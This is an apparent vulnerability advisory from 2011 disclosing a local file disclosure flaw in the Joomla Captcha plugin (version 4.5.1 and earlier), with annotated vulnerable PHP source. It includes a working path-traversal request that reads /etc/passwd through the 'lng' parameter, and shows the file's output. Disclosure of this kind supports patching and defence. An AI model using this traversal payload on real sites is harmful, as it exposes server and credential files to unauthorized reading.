:::::::-. ...::::::.:::. ;;, `';, ;; ;;;`;;;;,`;;; `[[ [[[[' [[[[[[[[. '[[ $$,$$$$$$$$$$ "Y$c$$ 888_,o8P'88.d888888Y88 MMMMP"` "YmmMMMM""MMM YM [ Discovered by dun \ posdub[at]gmail.com ] ############################################################################# #[ Joomla Captcha Plugin <= 4.5.1 ]Local File Disclosure Vulnerability# ############################################################################# # # Script: "Joomla Captcha plugin and patch for Joomla!" # # Script site: http://www.kupala.net/ # Download: http://code.google.com/p/joomla15captcha/ # # # [LFI] (magic_quotes_gpc = Off) # Vuln: http://site.com/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00 # dun@radius ~ $ cat joomlacaptcha.mp3 # root:x:0:0:root:/root:/bin/bash # ...... # # File: ./plugins/system/captcha/playcode.php # # 79 if (!$captchacode) $captchacode = '0000000000'; # 80 # 81 session_write_close(); # 82 # 83 @$lng = $_GET['lng']; // [1] # 84 if ( !$lng ) $lng = 'en-gb'; # 85 # 86 $captchafilename = "joomlacaptcha.mp3"; # 87 $captchalength = strlen( $captchacode ); # 88 # 89 $outlength = 0; # 90 $reallength = 0; # 91 $currsize = 0; # 92 $outstream = ''; # 93 # 94 if ($captchalength > 0) { # 95 for ($i = 0; $i < $captchalength; $i++) { # 96 $soundfiles[$i] = 'files/' . $lng . '.' . strtolower( substr( $captchacode, $i, 1 ) ) . '.mp3'; // [2] # 97 } # 98 foreach ($soundfiles as $onefile){ // # 99 if (file_exists( $onefile )) { // #100 $instream = fopen( $onefile, 'rb' ); // #101 $currsize = filesize( $onefile );// [3] #102 $outstream .= fread( $instream, $currsize ); // #103 $outlength += $currsize; // #104 fclose( $instream ); // #105 $reallength += 1;// #106 } #107 } #108 } #109 #110 if (($outstream == '') || ($captchalength != $reallength)) { #111 $outstream = 0; $outlength = 1; #112 } #113 #114 ob_start(); #115 header( 'Content-Type: audio/x-mpeg'); // #116 header( "Content-Disposition: attachment; filename=$captchafilename;");// #117 header( 'Content-Transfer-Encoding: binary');// #118 header( 'Content-Length: '.$outlength);// #119 echo $outstream ;// [4] LFD #120 ob_end_flush(); # # # [ dun / 2011-01-09 ]
体验盒子